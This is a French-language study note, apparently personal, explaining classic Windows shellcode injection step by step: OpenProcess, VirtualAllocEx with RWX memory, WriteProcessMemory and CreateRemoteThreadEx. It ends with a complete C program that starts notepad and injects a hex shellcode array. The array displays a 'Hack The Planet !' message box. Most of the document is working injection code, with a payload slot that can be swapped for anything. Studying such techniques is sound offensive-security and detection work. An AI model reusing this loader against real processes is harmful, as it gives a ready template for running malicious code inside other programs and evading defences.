

REWIND - Shellcode injection

dimanche 8 février 2026 21:11

Une technique d'injection dans un process consiste à injecter un shellcode dans un processus déjà en cours.

SIMPLE.

Pour ça on a 4 étapes :

On doit récupérer le **HANDLE** du processus cible, pour ça on va utiliser la fonction API [OpenProcess](#).

Cette fonction va ouvrir le processus en cours et en l'ouvrant il va récupérer le handle.

Voici la définition de Microsoft :

Opens an existing local process object.

```
HANDLE OpenProcess(  
    [in] DWORD dwDesiredAccess,  
    [in] BOOL bInheritHandle,  
    [in] DWORD dwProcessId  
);
```

Ensuite on va devoir allouer de la place pour notre shellcode dans le processus. C'est de la place virtuel donc on peut en allouer autant qu'on veut car quand le processus s'éteindra, cette place se supprimera. On peut voir un buffer comme une sorte de **conteneur** qui a pour fonction de contenir des informations, au début elle est vide et on ne sait pas combien de place on a besoin donc dans ce contexte on va juste ajouter un conteneur vide dans ce processus. Pour cette tâche on va utiliser la fonction [VirtualAllocEx](#).

Voici la définition de Microsoft :

Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.

```
LPVOID VirtualAllocEx(  
    [in] HANDLE hProcess,  
    [in, optional] LPVOID lpAddress,  
    [in] SIZE_T dwSize,  
    [in] DWORD flAllocationType,  
    [in] DWORD flProtect  
);
```

Ensuite on va ajouter notre shellcode dans ce conteneur vide (buffer). Pour ça on va utiliser la fonction

[WriteProcessMemory](#). Dans cette fonction on indiquera en paramètre le handle du processus, l'adresse de notre buffer je crois, la taille, le nombre de bytes qu'on veut écrire etc.

Voici la définition de Microsoft :

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

```
BOOL WriteProcessMemory(  
    [in] HANDLE hProcess,  
    [in] LPVOID lpBaseAddress,  
    [in] LPCVOID lpBuffer,  
    [in] SIZE_T nSize,  
    [out] SIZE_T *lpNumberOfBytesWritten  
);
```

Et enfin, on ouvre un nouveau thread dans ce process qui executera notre shellcode. Pour ça on va utiliser la fonction [CreateRemoteThreadEx](#).

Voici la définition de Microsoft :

Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity.

```
HANDLE CreateRemoteThreadEx(  
    [in] HANDLE hProcess,  
    [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,  
    [in] SIZE_T dwStackSize,  
    [in] LPTHREAD_START_ROUTINE lpStartAddress,  
    [in, optional] LPVOID lpParameter,  
    [in] DWORD dwCreationFlags,  
    [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,  
    [out, optional] LPDWORD lpThreadId  
);
```

Voici le code complet : qui affichera un message box sur le processus notepad

```
#include <stdio.h>  
#include <windows.h>  
#define NT_SUCCESS(x) ((NTSTATUS)(x) >= 0) //OKOKOKOKOK on définit ici que  
si la valeur (le x) est supérieur ou égal à zéro alors on un SUCCESS
```

```
int main(int argc, char* argv[]){
```

```
    unsigned char shellcode [] =  
    "\xfc\x48\x81\xe4\xf0\xff\xff\xe8\xcc\x00\x00\x41"  
    "\x51\x41\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"  
    "\x8b\x52\x18\x48\x8b\x52\x20\x56\x48\x8b\x72\x50\x4d\x31"  
    "\xc9\x48\x0f\xb7\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02"  
    "\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51"  
    "\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"  
    "\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00"
```

```
"\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b\x40"
"\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d"
"\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39"
"\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48"
"\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41"
"\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x4b\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"
"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c"
"\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\xe8\x12"
"\x00\x00\x00\x48\x61\x63\x6b\x20\x54\x68\x65\x20\x50\x6c"
"\x61\x6e\x65\x74\x20\x21\x00\x5a\xe8\x05\x00\x00\x00\x48"
"\x41\x48\x41\x00\x41\x58\x48\x31\xc9\x41\xba\x45\x83\x56"
"\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5";
```

```
//on va injecter un messagebox dans le process notepad
//BOOL ct = 0; //createprocess
HANDLE hProcess;
HANDLE hThread;
PVOID ShellcodeAddress = NULL; //ou Buffer
LPCSTR notepad = "C:\\Windows\\System32\\notepad.exe";
PROCESS_INFORMATION pi = {0};
STARTUPINFOA lpStartupInfo = {0};
SIZE_T ShellSize = sizeof(shellcode);
SIZE_T lpNumberOfBytesWritten = 0;
DWORD ThreadId = 0;

//open the processus notepad!
if(!CreateProcessA(notepad, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL,
NULL, &lpStartupInfo, &pi)){
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}

//on doit récupérer un handle du processus cible (cette fonction retourne un
handle ouvert)
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pi.dwProcessId);
//on définit quel type d'accès on souhaite avoir sur ce processus,
//ensuite on définit si on veut ou pas que notre nouveau processus hérite de ce
handle
//et on donne l'ID du processus qu'on va ouvrir, on peut utiliser l'élément
dwProcessId de la structure PROCESS_INFORMATION
if(hProcess == FALSE){
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}

//ensuite on doit allouer de la mémoire dans ce processus.
//cette fonction nous demande en premier lieu le handle du processus cible.
//Ensuite on nous demande un pointeur sur l'endroit on l'on souhaite allouer
notre shellcode. On a mis NULL comme ça la fonction décide a notre place. MAIS
peut etre qu'on aurait pu regarder avec xdbg une @ avec des codes caves et
l'injecter la. (a tester !!)
//Ensuite on doit spécifier quelle taille on souhaite allouer. Comme on souhaite
injecter notre shellcode, on doit spécifier sa taille duh
//Puis pour flAllocationType on doit définir le type d'allocation qu'on
souhaiterait avoir.
//Enfin pour le dernier argument flProtect on doit définir le type de protection
qu'on souhaite pour notre mémoire allouer.
//fonction retourne la base adresse de la région alloué. Donc on doit utiliser une
variable qui sauvegardera cette valeur (ici buffer ou ShellcodeAddress)
ShellcodeAddress = VirtualAllocEx(hProcess, NULL, ShellSize, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(ShellcodeAddress == FALSE){
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}

//ensuite on va injecter notre shellcode avec la fonction WriteProcessMemory
//en premier argument on remet notre handle
//ensuite on indique un pointeur sur la base adresse de la région alloué (donc
le résultat de la fonctionVirtualAlloc) comme buffer a le type PVOID c'est déjà
un pointeur donc on peut juste le mettre sans le &
//puis on indique l'adresse du buffer qui contient la data qu'on va injecter donc
notre shellcode ici.
//on indique ensuite le nombre de byte qu'on va injecter donc la taille de notre
shellcode
//le dernier argument est un pointeur sur une variable qui va recevoir le nombre
de bits transféré dans le processus (c'est optionel et je pense que c'est a but
informatif)
WriteProcessMemory(hProcess, ShellcodeAddress, shellcode, ShellSize,
&lpNumberOfBytesWritten);

//enfin on va ouvrir un nouveau thread dans le processus qui exécutera notre
shellcode avec CreateRemoteThread
//en premier argument on remet notre handle
```

```
//ensuite on veut un pointeur sur un élément de la structure
SECURITY_ATTRIBUTES qui permet de spécifier une description de sécurité, c'est
optionnel et si on met NULL, le thread a une basique description de sécurité
//ensuite on définit la taille initial du stack en bits. On peut mettre 0
//Ensuite on indique la base adresse de notre shellcode qu'on a alloué dans le
processus et on cast ce type pour matcher la signature de ce paramètre.
//On a ensuite un argument optionnel qui nous demande un pointeur sur une
variable qu'on souhaiterait passer dans la thread. on peut mettre NULL
//ensuite l'argument nous demande un flag qui contrôle la création du thread. 0
= le thread s'exécute immédiatement après la création
//On a encore un argument optionnel qui nous demande une liste d'attribut qui
contient d'autre paramètre pour le nouveau thread. NULL
//et enfin on a un dernier argument qui nous demande une variable qui servira
de pointeur sur l'ID du thread.
hThread = CreateRemoteThreadEx(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)ShellcodeAddress, NULL, 0, 0, &ThreadId);
if(hThread == NULL){
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}
printf("voici le nombre de bits copier : %ld\n", lpNumberOfBytesWritten );
printf("voici l'id de notre thread : %lu\n", ThreadId);
printf("voici l'id de notre process : %lu\n", pi.dwProcessId);
_CleanUP:
if(hThread)
    CloseHandle(hThread);
if(hProcess)
    CloseHandle(hProcess);
return EXIT_SUCCESS;
}
```


